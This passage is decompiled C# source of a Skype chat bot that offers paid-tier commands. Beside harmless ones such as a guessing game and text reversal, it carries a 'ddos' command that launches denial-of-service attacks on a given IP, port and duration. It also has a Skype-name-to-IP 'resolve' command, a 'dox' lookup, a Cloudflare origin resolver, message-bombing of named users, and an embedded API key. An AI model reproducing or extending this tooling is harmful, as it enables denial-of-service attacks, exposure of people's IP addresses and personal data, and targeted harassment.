  5809.                                                                     Conversions.ToString((int)Math.Round(Math.Ceiling((double)unchecked(VBMath.Rnd() * (float)num31)))),
  5810.                                                                     "|0;"
  5811.                                                                 });
  5812.                                                                 MySettingsProperty.Settings.gamedat = MySettingsProperty.Settings.gamedat.Replace(";;", ";");
  5813.                                                             }
  5814.                                                             else
  5815.                                                             {
  5816.                                                                 string value3 = Regex.Match(MySettingsProperty.Settings.gamedat, closure$__.$VB$Local_msg.Sender.Handle + "\\|([0-9]+)\\|([0-9]+);", RegexOptions.IgnoreCase).Value;
  5817.                                                                 MySettingsProperty.Settings.gamedat = MySettingsProperty.Settings.gamedat.Replace(value3, closure$__.$VB$Local_msg.Sender.Handle + "|" + Conversions.ToString((int)Math.Round(Math.Ceiling((double)unchecked(VBMath.Rnd() * (float)num31)))) + "|0;");
  5818.                                                                 MySettingsProperty.Settings.gamedat = MySettingsProperty.Settings.gamedat.Replace(";;", ";");
  5819.                                                             }
  5820.                                                             this.AddSwagToMSG(chatMessage10, "New game generated! Try a number!", 0);
  5821.                                                             return;
  5822.                                                         }
  5823.                                                         MySettingsProperty.Settings.gamedat = MySettingsProperty.Settings.gamedat.Replace(";;", ";");
  5824.                                                         flag2 = text67.StartsWith("try ");
  5825.                                                         unchecked
  5826.                                                         {
  5827.                                                             if (flag2)
  5828.                                                             {
  5829.                                                                 flag = (Operators.CompareString(left2, "énotfound", true) == 0);
  5830.                                                                 if (flag)
  5831.                                                                 {
  5832.                                                                     this.AddSwagToMSG(chatMessage10, "Generate a game first!", 0);
  5833.                                                                     return;
  5834.                                                                 }
  5835.                                                                 string value4 = Regex.Match(MySettingsProperty.Settings.gamedat, closure$__.$VB$Local_msg.Sender.Handle + "\\|([0-9]+)\\|([0-9]+);", RegexOptions.IgnoreCase).Value;
  5836.                                                                 string[] array27 = value4.Split(new char[]
  5837.                                                                 {
  5838.                                                                     '|'
  5839.                                                                 });
  5840.                                                                 int num30 = Conversions.ToInteger(array27[1]);
  5841.                                                                 string text69 = array27[2].Replace(";", "");
  5842.                                                                 flag2 = (Operators.CompareString(text67.Replace("try ", ""), "cheatcode", true) == 0);
  5843.                                                                 if (flag2)
  5844.                                                                 {
  5845.                                                                     this.AddSwagToMSG(chatMessage10, "Psst, the number is " + Conversions.ToString(num30) + "!", 0);
  5846.                                                                     return;
  5847.                                                                 }
  5848.                                                                 flag2 = (Conversions.ToDouble(text67.Replace("try ", "")) == (double)num30);
  5849.                                                                 if (flag2)
  5850.                                                                 {
  5851.                                                                     this.AddSwagToMSG(chatMessage10, string.Concat(new string[]
  5852.                                                                     {
  5853.                                                                         "---- WINNER ----\r\nIt took you ",
  5854.                                                                         Conversions.ToString(Conversions.ToDouble(text69.Replace(";", "")) + 1.0),
  5855.                                                                         " guesses to guess ",
  5856.                                                                         Conversions.ToString(num30),
  5857.                                                                         "\r\nYou can now generate a new game!\r\n---- WINNER ----"
  5858.                                                                     }), 0);
  5859.                                                                 }
  5860.                                                                 else
  5861.                                                                 {
  5862.                                                                     flag2 = (decimal.Compare(Convert.ToDecimal(text67.Replace("try ", "")), Convert.ToDecimal(num30)) < 0);
  5863.                                                                     if (flag2)
  5864.                                                                     {
  5865.                                                                         this.AddSwagToMSG(chatMessage10, "Higher!", 0);
  5866.                                                                     }
  5867.                                                                     else
  5868.                                                                     {
  5869.                                                                         flag2 = (decimal.Compare(Convert.ToDecimal(text67.Replace("try ", "")), Convert.ToDecimal(num30)) > 0);
  5870.                                                                         if (flag2)
  5871.                                                                         {
  5872.                                                                             this.AddSwagToMSG(chatMessage10, "Lower!", 0);
  5873.                                                                         }
  5874.                                                                     }
  5875.                                                                 }
  5876.                                                                 MySettingsProperty.Settings.gamedat = MySettingsProperty.Settings.gamedat.Replace(string.Concat(new string[]
  5877.                                                                 {
  5878.                                                                     closure$__.$VB$Local_msg.Sender.Handle,
  5879.                                                                     "|",
  5880.                                                                     Conversions.ToString(num30),
  5881.                                                                     "|",
  5882.                                                                     text69
  5883.                                                                 }), string.Concat(new string[]
  5884.                                                                 {
  5885.                                                                     closure$__.$VB$Local_msg.Sender.Handle,
  5886.                                                                     "|",
  5887.                                                                     Conversions.ToString(num30),
  5888.                                                                     "|",
  5889.                                                                     Conversions.ToString(Conversions.ToDouble(text69.Replace(";", "")) + 1.0),
  5890.                                                                     ";"
  5891.                                                                 }));
  5892.                                                                 return;
  5893.                                                             }
  5894.                                                             else
  5895.                                                             {
  5896.                                                                 this.AddSwagToMSG(chatMessage10, "Invalid game command!", 0);
  5897.                                                             }
  5898.                                                         }
  5899.                                                     }
  5900.                                                     flag2 = (Operators.CompareString(text, "ddos", true) == 0);
  5901.                                                     if (flag2)
  5902.                                                     {
  5903.                                                         closure$__.$VB$Local_msg.Chat.SendMessage("Right Syntax: " + this.trigger + "ddos <ip> <port> <time>");
  5904.                                                     }
  5905.                                                     flag2 = text.StartsWith("ddos ");
  5906.                                                     if (flag2)
  5907.                                                     {
  5908.                                                         ChatMessage msg44 = closure$__.$VB$Local_msg.Chat.SendMessage("Initializing...");
  5909.                                                         string text70 = text.Replace("ddos ", "");
  5910.                                                         this.AddSwagToMSG(msg44, "Starting ddos...", 0);
  5911.                                                         string[] array28 = text70.Split(new char[]
  5912.                                                         {
  5913.                                                             ' '
  5914.                                                         });
  5915.                                                         flag2 = array28[0].Contains(".");
  5916.                                                         if (!flag2)
  5917.                                                         {
  5918.                                                             this.AddSwagToMSG(msg44, "Invalid IP!", 0);
  5919.                                                             return;
  5920.                                                         }
  5921.                                                         string ip;
  5922.                                                         int num32;
  5923.                                                         int num33;
  5924.                                                         try
  5925.                                                         {
  5926.                                                             ip = array28[0];
  5927.                                                             num32 = Conversions.ToInteger(array28[1]);
  5928.                                                             num33 = Conversions.ToInteger(array28[2]);
  5929.                                                         }
  5930.                                                         catch (Exception arg_58A4_0)
  5931.                                                         {
  5932.                                                             ProjectData.SetProjectError(arg_58A4_0);
  5933.                                                             this.AddSwagToMSG(msg44, "Invalid IP/Port Or Time + Recheck your syntax (!help ddos)", 0);
  5934.                                                             ProjectData.ClearProjectError();
  5935.                                                             return;
  5936.                                                         }
  5937.                                                         flag2 = Versioned.IsNumeric(num33);
  5938.                                                         if (!flag2)
  5939.                                                         {
  5940.                                                             this.AddSwagToMSG(msg44, "Invalid Time!", 0);
  5941.                                                             return;
  5942.                                                         }
  5943.                                                         flag = Conversions.ToBoolean(Operators.AndObject(num33 > 600, this.IsUltimate(closure$__.$VB$Local_msg.Sender.Handle)));
  5944.                                                         if (flag)
  5945.                                                         {
  5946.                                                             this.AddSwagToMSG(msg44, "Maximum time is 600s", 0);
  5947.                                                             return;
  5948.                                                         }
  5949.                                                         flag2 = Conversions.ToBoolean(Operators.AndObject(num33 > 300, this.IsPremium(closure$__.$VB$Local_msg.Sender.Handle)));
  5950.                                                         if (flag2)
  5951.                                                         {
  5952.                                                             this.AddSwagToMSG(msg44, "Maximum time is 300s", 0);
  5953.                                                             return;
  5954.                                                         }
  5955.                                                         flag2 = Conversions.ToBoolean(this.IsNormalUser(closure$__.$VB$Local_msg.Sender.Handle));
  5956.                                                         if (flag2)
  5957.                                                         {
  5958.                                                             this.AddSwagToMSG(msg44, "Non upgraded users are not able to use this, see !buy or contact the owner.", 0);
  5959.                                                             return;
  5960.                                                         }
  5961.                                                         flag2 = Versioned.IsNumeric(num32);
  5962.                                                         if (!flag2)
  5963.                                                         {
  5964.                                                             this.AddSwagToMSG(msg44, "Invalid Port!", 0);
  5965.                                                             return;
  5966.                                                         }
  5967.                                                         flag = (num32 > 1 & num32 < 65535);
  5968.                                                         if (!flag)
  5969.                                                         {
  5970.                                                             this.AddSwagToMSG(msg44, "Port falls out of range 1-65535", 0);
  5971.                                                             return;
  5972.                                                         }
  5973.                                                         this.AddSwagToMSG(msg44, "Request for attack sent/sending! (No feedback received yet)...", 0);
  5974.                                                         string text71 = Conversions.ToString(this.ddos(ip, num32, num33));
  5975.                                                         this.AddSwagToMSG(msg44, "Received a 200 response code. Let's hope it works! (We currently have no way to check if the attack has been sent successful)", 0);
  5976.                                                     }
  5977.                                                     flag2 = (Operators.CompareString(text, "sidgrab", true) == 0);
  5978.                                                     if (flag2)
  5979.                                                     {
  5980.                                                         closure$__.$VB$Local_msg.Chat.SendMessage("Right Syntax: " + this.trigger + "sidgrab <steamuri/steamnr>");
  5981.                                                     }
  5982.                                                     flag2 = text.StartsWith("sidgrab ");
  5983.                                                     if (flag2)
  5984.                                                     {
  5985.                                                         ChatMessage msg45 = closure$__.$VB$Local_msg.Chat.SendMessage("Grabbing steam ID...");
  5986.                                                         string str11 = text.Replace("sidgrab ", "");
  5987.                                                         string text72 = new WebClient
  5988.                                                         {
  5989.                                                             Proxy = null
  5990.                                                         }.DownloadString("http://tatakai.net46.net/api/api.php?id=" + str11);
  5991.                                                         string[] array29 = text72.Split(new char[]
  5992.                                                         {
  5993.                                                             '|'
  5994.                                                         });
  5995.                                                         this.AddSwagToMSG(msg45, string.Concat(new string[]
  5996.                                                         {
  5997.                                                             "User: ",
  5998.                                                             array29[0],
  5999.                                                             "\r\nGames: ",
  6000.                                                             array29[1],
  6001.                                                             "\r\nSteamID: ",
  6002.                                                             array29[2]
  6003.                                                         }), 0);
  6004.                                                     }
  6005.                                                     flag2 = (Operators.CompareString(text, "deadfly", true) == 0);
  6006.                                                     if (flag2)
  6007.                                                     {
  6008.                                                         closure$__.$VB$Local_msg.Chat.SendMessage("Right Syntax: " + this.trigger + "deadfly <adflyuri>");
  6009.                                                     }
  6010.                                                     flag2 = text.StartsWith("deadfly ");
  6011.                                                     if (flag2)
  6012.                                                     {
  6013.                                                         ChatMessage msg46 = closure$__.$VB$Local_msg.Chat.SendMessage("De adflying...");
  6014.                                                         string text73 = text.Replace("deadfly ", "");
  6015.                                                         flag2 = (text73.StartsWith("http") | text73.StartsWith("www."));
  6016.                                                         if (flag2)
  6017.                                                         {
  6018.                                                             string str12 = new WebClient
  6019.                                                             {
  6020.                                                                 Headers =
  6021.                                                                 {
  6022.  
  6023.                                                                     {
  6024.                                                                         HttpRequestHeader.Referer,
  6025.                                                                         "http://api.c99.nl/cmd/"
  6026.                                                                     }
  6027.                                                                 },
  6028.                                                                 Proxy = null
  6029.                                                             }.DownloadString("http://api.c99.nl/deadfly.php?key=skypebotje123&url=" + text73);
  6030.                                                             this.AddSwagToMSG(msg46, "We killed the fly! Here the link: " + str12, 0);
  6031.                                                         }
  6032.                                                         else
  6033.                                                         {
  6034.                                                             this.AddSwagToMSG(msg46, "Invalid url...", 0);
  6035.                                                         }
  6036.                                                     }
  6037.                                                     flag2 = (Operators.CompareString(text, "resolve", true) == 0);
  6038.                                                     if (flag2)
  6039.                                                     {
  6040.                                                         closure$__.$VB$Local_msg.Chat.SendMessage("Right Syntax: " + this.trigger + "resolve <skypename>");
  6041.                                                     }
  6042.                                                     flag2 = text.StartsWith("resolve ");
  6043.                                                     if (flag2)
  6044.                                                     {
  6045.                                                         string text74 = text.Replace("resolve ", "");
  6046.                                                         flag2 = text74.Contains(this.Skypattach.CurrentUserHandle);
  6047.                                                         if (flag2)
  6048.                                                         {
  6049.                                                             closure$__.$VB$Local_msg.Chat.SendMessage("Nope! Not me!");
  6050.                                                         }
  6051.                                                         else
  6052.                                                         {
  6053.                                                             ChatMessage chatMessage11 = closure$__.$VB$Local_msg.Chat.SendMessage("Resolving...");
  6054.                                                             string text75 = text74.Replace(" ", "");
  6055.                                                             flag2 = (Operators.CompareString(text75, "les.de", true) == 0);
  6056.                                                             if (flag2)
  6057.                                                             {
  6058.                                                                 text75 = closure$__.$VB$Local_msg.Sender.Handle;
  6059.                                                             }
  6060.                                                             flag2 = MySettingsProperty.Settings.whitelist.ToLower().Contains(text75.ToLower());
  6061.                                                             if (flag2)
  6062.                                                             {
  6063.                                                                 chatMessage11.Body = "This user has been whitelisted!";
  6064.                                                             }
  6065.                                                             else
  6066.                                                             {
  6067.                                                                 WebClient webClient16 = new WebClient();
  6068.                                                                 chatMessage11.Body = "Resolver 1: Resolving...\r\nResolver 2: Resolving...\r\nCached IPs: Resolving...";
  6069.                                                                 string text76 = Conversions.ToString(this.Resolve1(text75));
  6070.                                                                 flag2 = (this.IsIpValid(text76) | Operators.CompareString(text76, "error", true) == 0);
  6071.                                                                 if (!flag2)
  6072.                                                                 {
  6073.                                                                     text76 = "IP not found!";
  6074.                                                                 }
  6075.                                                                 flag2 = MySettingsProperty.Settings.whitelist.Contains(text76);
  6076.                                                                 if (flag2)
  6077.                                                                 {
  6078.                                                                     text76 = "IP has been whitelisted!";
  6079.                                                                 }
  6080.                                                                 flag2 = (Operators.CompareString(text76, "error", true) == 0);
  6081.                                                                 if (flag2)
  6082.                                                                 {
  6083.                                                                     text76 = "Failed!";
  6084.                                                                 }
  6085.                                                                 string str13 = "Resolver 1: " + text76 + "\r\nResolver 2: ";
  6086.                                                                 chatMessage11.Body = str13 + "Resolving...\r\nCached IPs: Resolving...";
  6087.                                                                 text76 = Conversions.ToString(this.Resolve2(text75));
  6088.                                                                 flag2 = (this.IsIpValid(text76) | Operators.CompareString(text76, "error", true) == 0);
  6089.                                                                 if (!flag2)
  6090.                                                                 {
  6091.                                                                     text76 = "IP not found!";
  6092.                                                                 }
  6093.                                                                 flag2 = MySettingsProperty.Settings.whitelist.Contains(text76);
  6094.                                                                 if (flag2)
  6095.                                                                 {
  6096.                                                                     text76 = "IP has been whitelisted!";
  6097.                                                                 }
  6098.                                                                 flag2 = (Operators.CompareString(text76, "error", true) == 0);
  6099.                                                                 if (flag2)
  6100.                                                                 {
  6101.                                                                     text76 = "Failed!";
  6102.                                                                 }
  6103.                                                                 str13 = str13 + text76 + "\r\nCached IPs: ";
  6104.                                                                 chatMessage11.Body = str13 + "Resolving...";
  6105.                                                                 text76 = Conversions.ToString(this.Cached(text75));
  6106.                                                                 flag2 = MySettingsProperty.Settings.whitelist.Contains(text76);
  6107.                                                                 if (flag2)
  6108.                                                                 {
  6109.                                                                     text76 = "IP has been whitelisted!";
  6110.                                                                 }
  6111.                                                                 flag2 = (Operators.CompareString(text76, "error", true) == 0);
  6112.                                                                 if (flag2)
  6113.                                                                 {
  6114.                                                                     text76 = "Failed!";
  6115.                                                                 }
  6116.                                                                 chatMessage11.Body = str13 + text76;
  6117.                                                             }
  6118.                                                         }
  6119.                                                     }
  6120.                                                     else
  6121.                                                     {
  6122.                                                         flag2 = (Operators.CompareString(text, "dict", true) == 0);
  6123.                                                         if (flag2)
  6124.                                                         {
  6125.                                                             closure$__.$VB$Local_msg.Chat.SendMessage("Right Syntax: " + this.trigger + "dict <word>");
  6126.                                                         }
  6127.                                                         flag2 = text.StartsWith("dict ");
  6128.                                                         if (flag2)
  6129.                                                         {
  6130.                                                             string text77 = "http://skypebot.ga/apis/apis/dict.php";
  6131.                                                             ChatMessage msg47 = closure$__.$VB$Local_msg.Chat.SendMessage("Initializing...");
  6132.                                                             this.AddSwagToMSG(msg47, Conversions.ToString(this.POST(text77, "auth=sb&def=" + text.Remove(0, 5))), 0);
  6133.                                                         }
  6134.                                                         flag2 = (Operators.CompareString(text, "dox", true) == 0);
  6135.                                                         if (flag2)
  6136.                                                         {
  6137.                                                             closure$__.$VB$Local_msg.Chat.SendMessage("Right Syntax: " + this.trigger + "dox <name>");
  6138.                                                         }
  6139.                                                         flag2 = text.StartsWith("dox ");
  6140.                                                         if (flag2)
  6141.                                                         {
  6142.                                                             string text78 = "http://skypebot.ga/apis/apis/dox.php";
  6143.                                                             ChatMessage msg48 = closure$__.$VB$Local_msg.Chat.SendMessage("Initializing...");
  6144.                                                             this.AddSwagToMSG(msg48, Conversions.ToString(this.paste(Conversions.ToString(this.POST(text78, "auth=sb&u=" + text.Remove(0, 4))), "Untitled")), 0);
  6145.                                                         }
  6146.                                                         flag2 = (Operators.CompareString(text, "don", true) == 0);
  6147.                                                         if (flag2)
  6148.                                                         {
  6149.                                                             closure$__.$VB$Local_msg.Chat.SendMessage("Right Syntax: " + this.trigger + "don <website>");
  6150.                                                         }
  6151.                                                         flag2 = text.StartsWith("don ");
  6152.                                                         if (flag2)
  6153.                                                         {
  6154.                                                             string text79 = text.Replace("don ", "").Replace(" ", "");
  6155.                                                             ChatMessage msg49 = closure$__.$VB$Local_msg.Chat.SendMessage("Initializing...");
  6156.                                                             flag2 = !text79.Contains(".");
  6157.                                                             if (flag2)
  6158.                                                             {
  6159.                                                                 this.AddSwagToMSG(msg49, "Invalid Site", 0);
  6160.                                                             }
  6161.                                                             else
  6162.                                                             {
  6163.                                                                 string text80 = new WebClient
  6164.                                                                 {
  6165.                                                                     Proxy = null
  6166.                                                                 }.DownloadString("http://www.isup.me/" + text79);
  6167.                                                                 flag2 = text80.Contains("is up");
  6168.                                                                 if (flag2)
  6169.                                                                 {
  6170.                                                                     text80 = "Online.";
  6171.                                                                 }
  6172.                                                                 else
  6173.                                                                 {
  6174.                                                                     flag2 = text80.ToLower().Contains("down");
  6175.                                                                     if (flag2)
  6176.                                                                     {
  6177.                                                                         text80 = "Offline.";
  6178.                                                                     }
  6179.                                                                 }
  6180.                                                                 this.AddSwagToMSG(msg49, text80, 0);
  6181.                                                             }
  6182.                                                         }
  6183.                                                         else
  6184.                                                         {
  6185.                                                             flag2 = (Operators.CompareString(text, "cfresolve", true) == 0);
  6186.                                                             if (flag2)
  6187.                                                             {
  6188.                                                                 closure$__.$VB$Local_msg.Chat.SendMessage("Right Syntax: " + this.trigger + "cfresolve <website>");
  6189.                                                             }
  6190.                                                             flag2 = text.StartsWith("cfresolve ");
  6191.                                                             if (flag2)
  6192.                                                             {
  6193.                                                                 ChatMessage chatMessage12 = closure$__.$VB$Local_msg.Chat.SendMessage("Trying to resolve...");
  6194.                                                                 WebClient webClient17 = new WebClient();
  6195.                                                                 chatMessage12.Body = webClient17.DownloadString("http://APIOnly.com/cfresolver.php?domain=" + text.Replace("cfresolve ", "")).Replace("<br>", "");
  6196.                                                             }
  6197.                                                             else
  6198.                                                             {
  6199.                                                                 flag2 = (Operators.CompareString(text, "reverse", true) == 0);
  6200.                                                                 if (flag2)
  6201.                                                                 {
  6202.                                                                     closure$__.$VB$Local_msg.Chat.SendMessage("Right Syntax: " + this.trigger + "reverse <text/string/sentence>");
  6203.                                                                 }
  6204.                                                                 flag2 = text.StartsWith("reverse ");
  6205.                                                                 if (flag2)
  6206.                                                                 {
  6207.                                                                     ChatMessage msg50 = closure$__.$VB$Local_msg.Chat.SendMessage("Reversing...");
  6208.                                                                     this.AddSwagToMSG(msg50, Strings.StrReverse(text.Replace("reverse ", "") + " ").Replace("!", "").Replace("/", ""), 0);
  6209.                                                                 }
  6210.                                                                 flag2 = (Operators.CompareString(text, "domain", true) == 0);
  6211.                                                                 if (flag2)
  6212.                                                                 {
  6213.                                                                     closure$__.$VB$Local_msg.Chat.SendMessage("Right Syntax: " + this.trigger + "domain <website>");
  6214.                                                                 }
  6215.                                                                 flag2 = text.StartsWith("domain ");
  6216.                                                                 if (flag2)
  6217.                                                                 {
  6218.                                                                     ChatMessage msg51 = closure$__.$VB$Local_msg.Chat.SendMessage("Initializing...");
  6219.                                                                     try
  6220.                                                                     {
  6221.                                                                         string hostName = Dns.GetHostName();
  6222.                                                                         this.AddSwagToMSG(msg51, Dns.GetHostByName(text.Replace("domain ", "")).AddressList[0].ToString(), 0);
  6223.                                                                     }
  6224.                                                                     catch (Exception expr_6521)
  6225.                                                                     {
  6226.                                                                         ProjectData.SetProjectError(expr_6521);
  6227.                                                                         Exception ex3 = expr_6521;
  6228.                                                                         flag2 = ex3.ToString().ToLower().Contains("no such host is known");
  6229.                                                                         if (flag2)
  6230.                                                                         {
  6231.                                                                             this.AddSwagToMSG(msg51, "Invalid host.", 0);
  6232.                                                                         }
  6233.                                                                         ProjectData.ClearProjectError();
  6234.                                                                     }
  6235.                                                                 }
  6236.                                                                 else
  6237.                                                                 {
  6238.                                                                     flag2 = (Operators.CompareString(text, "spam", true) == 0);
  6239.                                                                     if (flag2)
  6240.                                                                     {
  6241.                                                                         closure$__.$VB$Local_msg.Chat.SendMessage("Right Syntax: " + this.trigger + "spam <times> <msg>");
  6242.                                                                     }
  6243.                                                                     flag2 = text.StartsWith("spam ");
  6244.                                                                     if (flag2)
  6245.                                                                     {
  6246.                                                                         Thread thread2 = new Thread(delegate
  6247.                                                                         {
  6248.                                                                             closure$__.$VB$Me.spam(closure$__.$VB$Local_msg);
  6249.                                                                         });
  6250.                                                                         thread2.Start();
  6251.                                                                     }
  6252.                                                                     else
  6253.                                                                     {
  6254.                                                                         flag2 = (Operators.CompareString(text, "ts", true) == 0);
  6255.                                                                         if (flag2)
  6256.                                                                         {
  6257.                                                                             closure$__.$VB$Local_msg.Chat.SendMessage("Right Syntax: " + this.trigger + "ts <name> <times> <msg>");
  6258.                                                                         }
  6259.                                                                         flag2 = text.StartsWith("ts ");
  6260.                                                                         if (flag2)
  6261.                                                                         {
  6262.                                                                             ChatMessage chatMessage13 = closure$__.$VB$Local_msg.Chat.SendMessage("Initializing...");
  6263.                                                                             string text81 = text.Replace("ts ", "");
  6264.                                                                             string[] array30 = text81.Split(new char[]
  6265.                                                                             {
  6266.                                                                                 ' '
  6267.                                                                             });
  6268.                                                                             try
  6269.                                                                             {
  6270.                                                                                 string text82 = array30[0];
  6271.                                                                                 text82 = array30[1];
  6272.                                                                                 text82 = array30[2];
  6273.                                                                             }
  6274.                                                                             catch (Exception expr_66B2)
  6275.                                                                             {
  6276.                                                                                 ProjectData.SetProjectError(expr_66B2);
  6277.                                                                                 this.AddSwagToMSG(chatMessage13, "Please recheck your syntax (!help ts)", 0);
  6278.                                                                                 ProjectData.ClearProjectError();
  6279.                                                                             }
  6280.                                                                             string text83 = array30[2];
  6281.                                                                             flag2 = Versioned.IsNumeric(array30[1]);
  6282.                                                                             if (flag2)
  6283.                                                                             {
  6284.                                                                                 flag = (Conversions.ToDouble(array30[1]) > 500.0);
  6285.                                                                                 if (flag)
  6286.                                                                                 {
  6287.                                                                                     array30[1] = Conversions.ToString(500);
  6288.                                                                                 }
  6289.                                                                                 array30[0] = array30[0].Replace(" ", "");
  6290.                                                                                 flag2 = array30[0].Contains(this.Skypattach.CurrentUserHandle);
  6291.                                                                                 if (flag2)
  6292.                                                                                 {
  6293.                                                                                     this.AddSwagToMSG(chatMessage13, "Nope! Not me!", 0);
  6294.                                                                                 }
  6295.                                                                                 else
  6296.                                                                                 {
  6297.                                                                                     int arg_67A3_0 = 3;
  6298.                                                                                     int num34 = array30.Length - 1;
  6299.                                                                                     int num35 = arg_67A3_0;
  6300.                                                                                     while (true)
  6301.                                                                                     {
  6302.                                                                                         int arg_67DF_0 = num35;
  6303.                                                                                         int num3 = num34;
  6304.                                                                                         if (arg_67DF_0 > num3)
  6305.                                                                                         {
  6306.                                                                                             break;
  6307.                                                                                         }
  6308.                                                                                         text83 = text83 + " " + array30[num35];
  6309.                                                                                         num35++;
  6310.                                                                                     }
  6311.                                                                                     this.AddSwagToMSG(chatMessage13, "Sending the msg....", 0);
  6312.                                                                                     double arg_6814_0 = 1.0;
  6313.                                                                                     unchecked
  6314.                                                                                     {
  6315.                                                                                         double num36 = Conversions.ToDouble(array30[1]) - 0.0;
  6316.                                                                                         double num37 = arg_6814_0;
  6317.                                                                                         while (true)
  6318.                                                                                         {
  6319.                                                                                             double arg_68D2_0 = num37;
  6320.                                                                                             double num19 = num36;
  6321.                                                                                             if (arg_68D2_0 > num19)
  6322.                                                                                             {
  6323.                                                                                                 break;
  6324.                                                                                             }
  6325.                                                                                             chatMessage13.Body = string.Concat(new string[]
  6326.                                                                                             {
  6327.                                                                                                 "Sended MSG ",
  6328.                                                                                                 Conversions.ToString(num37),
  6329.                                                                                                 "/",
  6330.                                                                                                 array30[1],
  6331.                                                                                                 "."
  6332.                                                                                             });
  6333.                                                                                             this.Skypattach.SendMessage(array30[0], text83.Replace("/", "").Replace("!", ""));
  6334.                                                                                             num37 += 1.0;
  6335.                                                                                         }
  6336.                                                                                         this.Skypattach.SendMessage(array30[0], "Someone anonymouse made me do that! You can do it too: !ts <skypename> <times> <msg>");
  6337.                                                                                         this.AddSwagToMSG(chatMessage13, "He succesfully received the attack!", 0);
  6338.                                                                                     }
  6339.                                                                                 }
  6340.                                                                             }
  6341.                                                                             else
  6342.                                                                             {
  6343.                                                                                 this.AddSwagToMSG(chatMessage13, "ERROR: You entered an invalid number, try to swap the number and msg!", 0);
  6344.                                                                             }
  6345.                                                                         }
  6346.                                                                         else
  6347.                                                                         {
  6348.                                                                             flag2 = (Operators.CompareString(text, "rdns", true) == 0);
  6349.                                                                             if (flag2)
  6350.                                                                             {
  6351.                                                                                 closure$__.$VB$Local_msg.Chat.SendMessage("Right syntax: " + this.trigger + "rdns <ip>");
  6352.                                                                             }
  6353.                                                                             flag2 = text.StartsWith("rdns ");
  6354.                                                                             if (flag2)
  6355.                                                                             {
  6356.                                                                                 ChatMessage chatMessage14 = closure$__.$VB$Local_msg.Chat.SendMessage("Reversing DNS...");
  6357.                                                                                 IPHostEntry hostEntry2 = Dns.GetHostEntry(text.Replace("rdns ", ""));
  6358.                                                                                 string text84 = "The Primary Host name is: " + hostEntry2.HostName.ToString();
  6359.                                                                                 chatMessage14.Body = text84;
  6360.                                                                                 flag2 = (hostEntry2.Aliases.Length > 0);
  6361.                                                                                 if (flag2)
  6362.                                                                                 {
  6363.                                                                                     chatMessage14.Body = text84 + "\r\n\r\nSearching for aliases...";
  6364.                                                                                     chatMessage14.Body = text84 + "\r\n\r\nAdditional names found are: ";
  6365.                                                                                     string[] aliases2 = hostEntry2.Aliases;
  6366.                                                                                     for (int k = 0; k < aliases2.Length; k++)
  6367.                                                                                     {
  6368.                                                                                         string str14 = aliases2[k];
  6369.                                                                                         chatMessage14.Body = chatMessage14.Body + "\r\n" + str14;
  6370.                                                                                     }
  6371.                                                                                 }
  6372.                                                                             }
  6373.                                                                             flag2 = (Operators.CompareString(text, "leet", true) == 0);
  6374.                                                                             if (flag2)
  6375.                                                                             {
  6376.                                                                                 closure$__.$VB$Local_msg.Chat.SendMessage("Right syntax: " + this.trigger + "leet <1-100 degree (more = more leet)> <msg>");
  6377.                                                                             }
  6378.                                                                             flag2 = text.StartsWith("leet ");
  6379.                                                                             if (flag2)
  6380.                                                                             {
  6381.                                                                                 ChatMessage msg52 = closure$__.$VB$Local_msg.Chat.SendMessage("...");
  6382.                                                                                 string[] array31 = text.Replace("leet ", "").Replace("!", "").Replace("/", "").Split(new char[]
  6383.                                                                                 {
  6384.                                                                                     ' '
  6385.                                                                                 });
  6386.                                                                                 string value5 = array31[0];
  6387.                                                                                 string text85 = array31[1];
  6388.                                                                                 int arg_6B47_0 = 2;
  6389.                                                                                 int num38 = array31.Length - 1;
  6390.                                                                                 int num39 = arg_6B47_0;
  6391.                                                                                 while (true)
  6392.                                                                                 {
  6393.                                                                                     int arg_6B83_0 = num39;
  6394.                                                                                     int num3 = num38;
  6395.                                                                                     if (arg_6B83_0 > num3)
  6396.                                                                                     {
  6397.                                                                                         break;
  6398.                                                                                     }
  6399.                                                                                     text85 = text85 + " " + array31[num39];
  6400.                                                                                     num39++;
  6401.                                                                                 }
  6402.                                                                                 this.AddSwagToMSG(msg52, Leet.Translate(text85, Conversions.ToInteger(value5)), 0);
  6403.                                                                             }
  6404.                                                                             else
  6405.                                                                             {
  6406.                                                                                 flag2 = (Operators.CompareString(text, "say", true) == 0);
  6407.                                                                                 if (flag2)
  6408.                                                                                 {
  6409.                                                                                     closure$__.$VB$Local_msg.Chat.SendMessage("Right syntax: " + this.trigger + "say <msg>");
  6410.                                                                                 }
  6411.                                                                                 flag2 = text.StartsWith("say ");
  6412.                                                                                 if (flag2)
  6413.                                                                                 {
  6414.                                                                                     ChatMessage msg53 = closure$__.$VB$Local_msg.Chat.SendMessage("...");
  6415.                                                                                     this.AddSwagToMSG(msg53, text.Replace("say ", "").Replace("!", "").Replace("/", ""), 0);
  6416.                                                                                 }
  6417.                                                                                 else
  6418.                                                                                 {
  6419.                                                                                     flag2 = (Operators.CompareString(text, "hi", true) == 0);
  6420.                                                                                     if (flag2)
  6421.                                                                                     {
  6422.                                                                                         closure$__.$VB$Local_msg.Chat.SendMessage("Right Syntax: " + this.trigger + "hi <skype name>");
  6423.                                                                                     }
  6424.                                                                                     flag2 = text.StartsWith("hi ");
  6425.                                                                                     if (flag2)
  6426.                                                                                     {
  6427.                                                                                         string text86 = text.Replace("hi ", "");
  6428.                                                                                         ChatMessage msg54 = closure$__.$VB$Local_msg.Chat.SendMessage("Saying hi...");
  6429.                                                                                         flag2 = text86.Contains(this.Skypattach.CurrentUserHandle);
  6430.                                                                                         if (flag2)
  6431.                                                                                         {
  6432.                                                                                             closure$__.$VB$Local_msg.Chat.SendMessage("Well, Hi " + this.Skypattach.get_User(closure$__.$VB$Local_msg.Sender.Handle).FullName + "!");
  6433.                                                                                             return;
  6434.                                                                                         }
  6435.                                                                                         this.AddSwagToMSG(msg54, "Okay, I'll say " + text86 + " hi from us!", 0);
  6436.                                                                                         this.Skypattach.SendMessage(text86, "Hi from me and " + this.Skypattach.get_User(closure$__.$VB$Local_msg.Sender.Handle).FullName);
  6437.                                                                                     }
  6438.                                                                                     flag2 = (Operators.CompareString(text, "vpncheck", true) == 0);
  6439.                                                                                     if (flag2)
  6440.                                                                                     {
  6441.                                                                                         closure$__.$VB$Local_msg.Chat.SendMessage("Right Syntax: " + this.trigger + "vpncheck <ip>");
  6442.                                                                                     }
  6443.                                                                                     flag2 = text.StartsWith("vpncheck ");
  6444.                                                                                     if (flag2)
  6445.                                                                                     {
  6446.                                                                                         ChatMessage chatMessage15 = closure$__.$VB$Local_msg.Chat.SendMessage("Initializing...");
